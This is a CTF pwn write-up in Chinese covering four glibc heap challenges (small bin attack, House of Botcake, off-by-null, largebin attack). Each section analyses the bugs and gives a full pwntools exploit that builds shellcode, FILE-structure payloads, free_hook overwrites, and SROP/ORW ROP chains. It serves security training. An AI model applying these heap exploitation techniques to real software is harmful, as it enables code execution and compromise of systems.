一、small bin attack
祥云杯babyheap
分析下程序的流程
在menu前面还有个vmmap申请出内存,然后往里面存flag的操作,我们来看看:
这里会放flag到内存中,然后在flag上方放入随机数,接着打印出随机数的地址给我们
接着我们分析下这个程序:
calloc
这是一个会清空内存的堆申请操作,而且不按照malloc那种方式优先利用tcache而是另起炉灶从topchunk切割,直到unsorted bin有东西,也会优先考虑unsorted bin,这里申请范围在0x80-0x100之间。
free
问题就在于free时,直接把size的地位置为0,单字节,那么如果申请是0x100大小就形成了uaf。
程序还给了show和edit的机会,最后看下2个特殊的函数:
Consolidate的操作
意味着可以实现将2个堆块从unsorted bin放到small bin中(结合uaf实现small bin的attack)
printf_flag
只有正确写出随机数的值,才会打印出flag,同时有一次malloc的机会,会优先使用tache中的堆块。
那么整体思路就出来了:
1、先把随机数的地址接收过来,我们的目的是改写随机数
2、malloc_consolidate使得放入2个不相邻的堆块到unsorted bin中,且要是0x100大小的
3、利用uaf泄露出堆地址(FD指针不能变)和真实地址(获取到main_arena+xx的值)
4、改写smallin中的最后一个堆块的bk指针为victim-0x10,同时使得tacahe中有6个堆块
5、再次calloc即可实现small bin的attack
6、接着就可以在任意一个堆块写入已经知道的main_arena+xx的值来打印flag了
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206
| from pwn import * context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1 elf = ELF('./pwn1') if local: p = process('./pwn1') libc = elf.libc else: p = remote('112.126.71.170',43652) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one64 = [0x45226,0x4527a,0xf0364,0xf1207]
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
def pack_file(_flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0, _IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0, _IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _IO_marker = 0, _IO_chain = 0, _fileno = 0, _lock = 0, _wide_data = 0, _mode = 0): file_struct = p32(_flags) + \ p32(0) + \ p64(_IO_read_ptr) + \ p64(_IO_read_end) + \ p64(_IO_read_base) + \ p64(_IO_write_base) + \ p64(_IO_write_ptr) + \ p64(_IO_write_end) + \ p64(_IO_buf_base) + \ p64(_IO_buf_end) + \ p64(_IO_save_base) + \ p64(_IO_backup_base) + \ p64(_IO_save_end) + \ p64(_IO_marker) + \ p64(_IO_chain) + \ p32(_fileno) file_struct = file_struct.ljust(0x88, "\x00") file_struct += p64(_lock) file_struct = file_struct.ljust(0xa0, "\x00") file_struct += p64(_wide_data) file_struct = file_struct.ljust(0xc0, '\x00') file_struct += p64(_mode) file_struct = file_struct.ljust(0xd8, "\x00") return file_struct
def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr): payload = pack_file(_flags = 0, _IO_read_ptr = 0x61, _IO_read_base = _IO_list_all_ptr-0x10, _IO_write_base = 0, _IO_write_ptr = 1, _IO_buf_base = binsh_addr, _mode = 0, ) payload += p64(_IO_str_jumps_addr-8) payload += p64(0) payload += p64(system_addr) return payload
def get_io_str_jumps_offset(libc): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: return possible_IO_str_jumps_offset
def house_of_orange_payload(libc, libc_base): io_str_jump = libc_base + get_io_str_jumps_offset(libc) io_list_all = libc_base + libc.symbols['_IO_list_all'] system = libc_base + libc.symbols['system'] bin_sh = libc_base + next(libc.search('/bin/sh')) payload = pack_file_flush_str_jumps(io_str_jump, io_list_all, system, bin_sh) return payload
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()
def debug(mallocr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+mallocr))) else: gdb.attach(p,"b *{}".format(hex(mallocr)))
def calloc(size): ru("4: Enjoy scenery") sl('1') ru("size:") sl(str(size)) def free(index): ru("4: Enjoy scenery") sl('2') ru("idx:") sl(str(index)) def edit(index,content): ru("4: Enjoy scenery") sl('3') ru("idx:") sl(str(index)) ru("chat:") sd(content) def show(index): ru("4: Enjoy scenery") sl('4') ru("idx:") sl(str(index)) def edit2(content,flag): ru("4: Enjoy scenery") sl('5') if flag==0: sl(content) else: ru("input idx") sl('0') def consolidate(): ru("4: Enjoy scenery") sl('666')
ru("A gift from ChangChun People") victim = int(rc(13),16)-0x10 print "victim--->" + hex(victim)
calloc(0x100) calloc(0xff) free(1) calloc(0x100) for i in range(6): calloc(0xff) free(2) free(0) free(1) consolidate() show(1) ru('see') rc(1) heap = u64(rc(6).ljust(8,'\x00')) print "heap--->" + hex(heap) show(0) ru('see') rc(1) libc_base = u64(rc(6).ljust(8,'\x00')) - 0x1e4da0 print "libc_base--->" + hex(libc_base)
malloc_hook = libc_base + libc.sym["__malloc_hook"] fake_chunk = malloc_hook - 0x23 onegadget = libc_base + one64[2] realloc = libc_base + libc.sym["realloc"] free_hook = libc_base + libc.sym["__free_hook"] system = libc_base + libc.sym["system"] binsh = libc_base + libc.search("/bin/sh").next()
edit2('aaaa',0)
py = '' py += p64(heap)+p64(victim) edit(1,py) calloc(0x100)
value = libc_base + 0x1e4da0 edit(0,p64(value)) edit2(p64(value),1)
p.interactive()
|
二、House of bocake
祥云杯garden
保护全开,然后看下各个函数:
magic_add
这里有一次机会切割chunk,得到0x20大小,肯定是设定好的~
magic_free
这里有一次uaf的机会
add函数
没有什么问题,只是size是不可控,固定0x100大小,然后free正常,show函数也正常,没有edit函数。
利用思路:
1、先free一个不是尾巴的堆块到unsorted bin中,再show出地址(利用uaf的漏洞来free)
2、利用堆风水布局,实现0x20申请切割堆块,在申请即可实现overlap堆块,然后把overlap的堆块和uaf的堆块都放到tache中,再申请overlap的堆块实现写free_hook为system即可实现getshell
利用的exp脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| from pwn import *
context.log_level = 'debug' context(arch='amd64', os='linux')
local = 1 elf = ELF('./garden') if local: p = process('./garden') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
shellcode = asm(shellcraft.sh()) shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def add(index,content): ru(">> ") sl('1') ru("tree index?") sl(str(index)) ru("tree name?") sd(content) def free(index): ru(">> ") sl('2') ru("tree index?") sl(str(index)) def show(index): ru(">> ") sl('3') ru("tree index?") sl(str(index)) def magic_malloc(): ru(">> ") sl('6') def magic_free(index): ru(">> ") sl('5') ru("which tree do you want to steal?") sl(str(index))
for i in range(9): add(i,'a'*8)
for i in range(2,9,1): free(i) magic_free(1) show(1) rc(1) libc_base = u64(rc(6).ljust(8,'\x00')) - 0x1e4ca0 print "libc_base--->" + hex(libc_base) malloc_hook = libc_base + libc.sym["__malloc_hook"] fake_chunk = malloc_hook - 0x23
realloc = libc_base + libc.sym["realloc"] free_hook = libc_base + libc.sym["__free_hook"] system = libc_base + libc.sym["system"] binsh = libc_base + libc.search("/bin/sh").next() free(0) for i in range(2,9): add(i,'/bin/sh\x00'*8) magic_malloc()
add(0,'a') for i in range(2,7): free(i) free(1) free(0) add(0,p64(free_hook)*0x20) add(4,'a') add(5,p64(system)) free(8)
p.interactive()
|
三、offbynull
balsnCTF
保护全开,然后开了沙箱,只能orw
我们看看add函数
size不限制大小,然后可以有个offbybull的漏洞
然后看下free函数:
发现没有问题,再看看show函数:
可以打印出地址,但是前面也提到了,就是offbynull会造成0截断,很麻烦,无法直接泄漏,直接通过unsorted bin切割到上面才行。
只有一个offbynull漏洞,还是比较麻烦的,但是可以通过largebin的attack实现残留指针的利用,具体思路如下:
1、先放一个堆块B到largebin中再申请fastbin(0x20)即可得到largebin的残留指针,写入size头,并修改fd_nextsize的尾字节,使得fd_nextsize的倒数第二个字节为\x00(offbynull导致的),指向前一个堆块,这里1/16概率爆破,堆风水布局也需要注意
2、先将堆块A(0x20)放到fastbin中,再将堆块B(0x20)放到fastbin,使得B的fd指针(presize的位置)残留有指针,同时申请得到就可以改写B堆块的fd指针尾字节使得指向自己了
3、先把堆块A(0x20)和C(0x20)放到fastbin中,再malloc_consolidate放到smallbin,使得A的bk指针残留C地址,同时申请得到这2个堆块,修改使得A的bk指针尾字节指向B
完整的堆布局如下:
4、利用offbynull触发overlap堆块,中间夹杂tcache的堆块
5、通过切割使得main_arena地址来到堆的fd指针,可以实现泄漏真实地址
6、由于overlap所以触发伪uaf效果,使得大堆块可以吃小堆块,同时可以通过show函数打印free状态的tcache得到堆地址
7、通过overlap实现改tcache的fd指针为free_hook,再次申请写入magic_gadget
8、再申请一个堆块写入srop的payload
9、free掉这个堆块即可getshell
下面是完整的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231
| from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') local = 1 elf = ELF('./note1') if local: p = process('./note1') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def add(size,content): ru("Choice: ") sl('1') ru("Size: ") sl(str(size)) ru("Content: ") sd(content) def free(index): ru("Choice: ") sl('2') ru("Idx: ") sl(str(index)) def show(idx): ru("Choice: ") sl('3') ru("Idx: ") sl(str(idx)) def pwn_it(): for i in range(14): add(0x10,'\n') add(0x68,'\n') add(0x78,'\n') for i in range(5): add(0xc0,'\n') add(0xe0,'\n') add(0xe0,'\n') add(0x10,'\n') add(0x68,'\n') add(0x10,'\n') add(0x68,'\n') add(0x6ab0,'\n') add(0x21,'\n') add(0x420,'\n') add(0x68,'\n') add(0x68,'\n') add(0x4f8,'\n') add(0x21,'\n') free(55) add(0x21,p64(0)+p64(0x501)) for i in range(7): add(0x21,'\n') for i in range(7): free(60+i) free(54) free(55) for i in range(7): add(0x21,'\n') add(0x21,'\x40') add(0x21,'kkkk') for i in range(7): add(0x21,'\n') for i in range(7): free(67+i) add(0x150,'h') free(64) free(66) add(0x430,'\n') for i in range(7): add(0x21,'\n') add(0x21,p64(0)+'\x40') add(0x21,'iiiiiii') free(57) add(0x68,'a'*0x60+p64(0x500)) free(58) add(0x410,'h') show(56) libc_base = u64(rc(6).ljust(8,'\x00'))-0x70-libc.sym['__malloc_hook'] print "libc_base---->" + hex(libc_base) malloc_hook = libc_base + libc.sym["__malloc_hook"] fake_chunk = malloc_hook - 0x23 realloc = libc_base + libc.sym["realloc"] free_hook = libc_base + libc.sym["__free_hook"] system = libc_base + libc.sym["system"] binsh = libc_base + libc.search("/bin/sh").next() setcontext = libc_base + libc.sym["setcontext"] pop_rax_ret = libc_base + 0x000000000004a550 pop_rsi_ret = libc_base + 0x0000000000027529 pop_rdx_r12_ret = libc_base + 0x000000000011c1e1 pop_rdi_ret = libc_base + 0x0000000000026b72 syscall_ret = libc_base + 0x0000000000066229 magic_gadget = libc_base + 0x00000000001547a0 ret = libc_base + 0x00000000000c1479
add(0x68,'\n') add(0x68,'j') add(0x4f8,'h') free(56) free(57) show(77) heap_addr = u64(rc(6).ljust(8,'\x00'))-0x470 print "heap_addr_addr--->" + hex(heap_addr) pay_start = heap_addr+0xec0
def srop_pay(): pay = '' pay += p64(0) + p64(pay_start) pay = pay.ljust(0x20,'\x00') pay += p64(setcontext+33) pay = pay.ljust(0x68,'\x00') pay += p64(0) pay += p64(pay_start) pay += p64(0) pay += p64(0) pay += p64(0x110) pay = pay.ljust(0xa0,'\x00') pay += p64(pay_start) pay += p64(syscall_ret) pay = pay.ljust(0xe0,'\x00') pay += p64(pay_start) return pay
def orw_pay(): pay = '' pay += p64(pop_rdi_ret) pay += p64(pay_start+0x100) pay += p64(pop_rsi_ret) pay += p64(0) pay += p64(pop_rax_ret) pay += p64(0x2) pay += p64(syscall_ret) pay += p64(pop_rdi_ret) pay += p64(3) pay += p64(pop_rsi_ret) pay += p64(heap_addr) pay += p64(pop_rdx_r12_ret) pay += p64(0x40) pay += p64(0) pay += p64(pop_rax_ret) pay += p64(0x0) pay += p64(syscall_ret) pay += p64(pop_rdi_ret) pay += p64(1) pay += p64(pop_rsi_ret) pay += p64(heap_addr) pay += p64(pop_rdx_r12_ret) pay += p64(0x40) pay += p64(0) pay += p64(pop_rax_ret) pay += p64(0x1) pay += p64(syscall_ret) pay = pay.ljust(0x100,'a') pay += './flag\x00\x00' return pay
add(0x68,'\n') add(0x68,'j') free(62) free(63) free(58) py = '' py += 'a'*0x40 py += p64(0) + p64(0x31) py += p64(free_hook) add(0x410,py)
add(0x21,'h') py = '' py += p64(magic_gadget) add(0x21,py)
py = srop_pay() add(0x420,py) free(79) orw = orw_pay() sl(orw)
i = 0 while 1: print i i += 1 try: pwn_it() except EOFError: p.close() if local: p = process('./note1') libc = elf.libc else: p = remote('121.40.246.48',9999) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: break p.interactive()
|
1/16自己写个爆破脚本即可~
四、largebin attack
网鼎杯线下赛orwheap
这题没开pie,而且got表可以改,保护开的还算友好,但是程序开了沙箱:
直接禁用了execve函数和64位下的open,这里明显是orw打印flag的操作,自然想到是劫持freehook的操作,然后open没有就是用openat(257),记住第二个参数才是flag路径,1,3置为0即可,或者转成32位再去调用(比较麻烦些)。
看下程序的主要功能:
先来看看calloc:
我们经过前面的做题,已经清楚了,calloc除了讨厌tcache外,其他和malloc是一模一样的,所以他是会优先考虑fastbin、unsortedbin和small bin的,而不是tcache,这里size是任意大小。
再看看free
明显的uaf,但是只能用2次,有flag 的次数限制
然后show函数和edit函数正常的函数,这里过,下面思考下怎么做这题:
1、只有2次free,明显可以用来构造出largebin attack实现往fakechunk的fd_nextszie写入堆地址
2、先free一个堆块到largebin中,实现泄漏出真实地址和堆地址
3、改写bk_nextsize为fakechunk-0x20,实现往fakechunk写堆地址实现任意次数free
4、利用uaf构造fastbin attack到bss段上,利用stderr的0x7f作为size头,达到unlink一样的效果
5、改写堆地址为free_hook,edit时往freehook写入magic_gadget
6、往堆上部署srop的payload,再free
7、输入orw的payload即可
下面是完整的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175
| from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') local = 1 elf = ELF('./pwn7') if local: p = process('./pwn7') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()
def debug(callocr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+callocr))) else: gdb.attach(p,"b *{}".format(hex(callocr)))
sd = lambda s:p.send(s) rc = lambda s:p.recv(s) sl = lambda s:p.sendline(s) ru = lambda s:p.recvuntil(s)
def calloc(idx,size,content): ru("Choice:\n") sl('1') ru("index>> ") sl(str(idx)) ru("size>> ") sl(str(size)) ru("name>> ") sd(content)
def free(idx): ru("Choice:\n") sl('2') ru("index>> ") sl(str(idx))
def edit(idx,content): ru("Choice:\n") sl('3') ru("index>> ") sl(str(idx)) ru("name>> ") sd(content)
def show(idx): ru("Choice:\n") sl('5') ru("index>> ") sl(str(idx))
calloc(0,0x450,'a') calloc(1,0x20,'b') calloc(2,0x430,'c') free(0) calloc(3,0x500,'l') show(0) malloc_hook = u64(rc(6).ljust(8,b'\x00'))-0x470 libc_base = malloc_hook - libc.sym['__malloc_hook'] free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym["system"] binsh = libc_base + libc.search("/bin/sh").next() setcontext = libc_base + libc.sym["setcontext"] pop_rax_ret = libc_base + 0x000000000004a550 pop_rsi_ret = libc_base + 0x0000000000027529 pop_rdx_r12_ret = libc_base + 0x000000000011c1e1 pop_rdi_ret = libc_base + 0x0000000000026b72 syscall_ret = libc_base + 0x0000000000066229 magic_gadget = libc_base + 0x00000000001547a0
ret = libc_base + 0x00000000000c1479 fake_chunk = 0x404080 fast_fake = 0x4040bd print "libc_base -->" + hex(libc_base) edit(0,'a'*0x10) show(0) ru("aaaaaaaaaaaaaaaa") heap_addr = u64(rc(3).ljust(8,'\x00')) print "heap--->" + hex(heap_addr) pay_start = heap_addr + 0x1300 def srop_pay(): pay = '' pay += p64(0) + p64(pay_start) pay = pay.ljust(0x20,'\x00') pay += p64(setcontext+33) pay = pay.ljust(0x68,'\x00') pay += p64(0) pay += p64(pay_start) pay += p64(0) pay += p64(0) pay += p64(0x110) pay = pay.ljust(0xa0,'\x00') pay += p64(pay_start) pay += p64(syscall_ret) pay = pay.ljust(0xe0,'\x00') pay += p64(pay_start) return pay
def orw_pay(): pay = '' pay += p64(pop_rdi_ret) pay += p64(0) pay += p64(pop_rsi_ret) pay += p64(pay_start+0x100) pay += p64(pop_rdx_r12_ret) pay += p64(0) pay += p64(0) pay += p64(pop_rax_ret) pay += p64(257) pay += p64(syscall_ret) pay += p64(pop_rdi_ret) pay += p64(3) pay += p64(pop_rsi_ret) pay += p64(heap_addr) pay += p64(pop_rdx_r12_ret) pay += p64(0x40) pay += p64(0) pay += p64(pop_rax_ret) pay += p64(0x0) pay += p64(syscall_ret) pay += p64(pop_rdi_ret) pay += p64(1) pay += p64(pop_rsi_ret) pay += p64(heap_addr) pay += p64(pop_rdx_r12_ret) pay += p64(0x40) pay += p64(0) pay += p64(pop_rax_ret) pay += p64(0x1) pay += p64(syscall_ret) pay = pay.ljust(0x100,'a') pay += '/home/pwn/flag\x00\x00' return pay py = '' py += p64(malloc_hook+0x470)*2 py += p64(heap_addr) + p64(fake_chunk-0x20) edit(0,py) free(2) calloc(4,0x500,'d') for i in range(5,13): calloc(i,0x68,'a') free(i) edit(12,p64(fast_fake)) calloc(13,0x68,'a') py = '' py += 'a'*0x13 + p64(0x450) + p64(free_hook) calloc(14,0x68,py) edit(0,p64(magic_gadget)) calloc(15,0x500,srop_pay()) debug(0x000000000401667,0) free(15) sl(orw_pay()) p.interactive()
|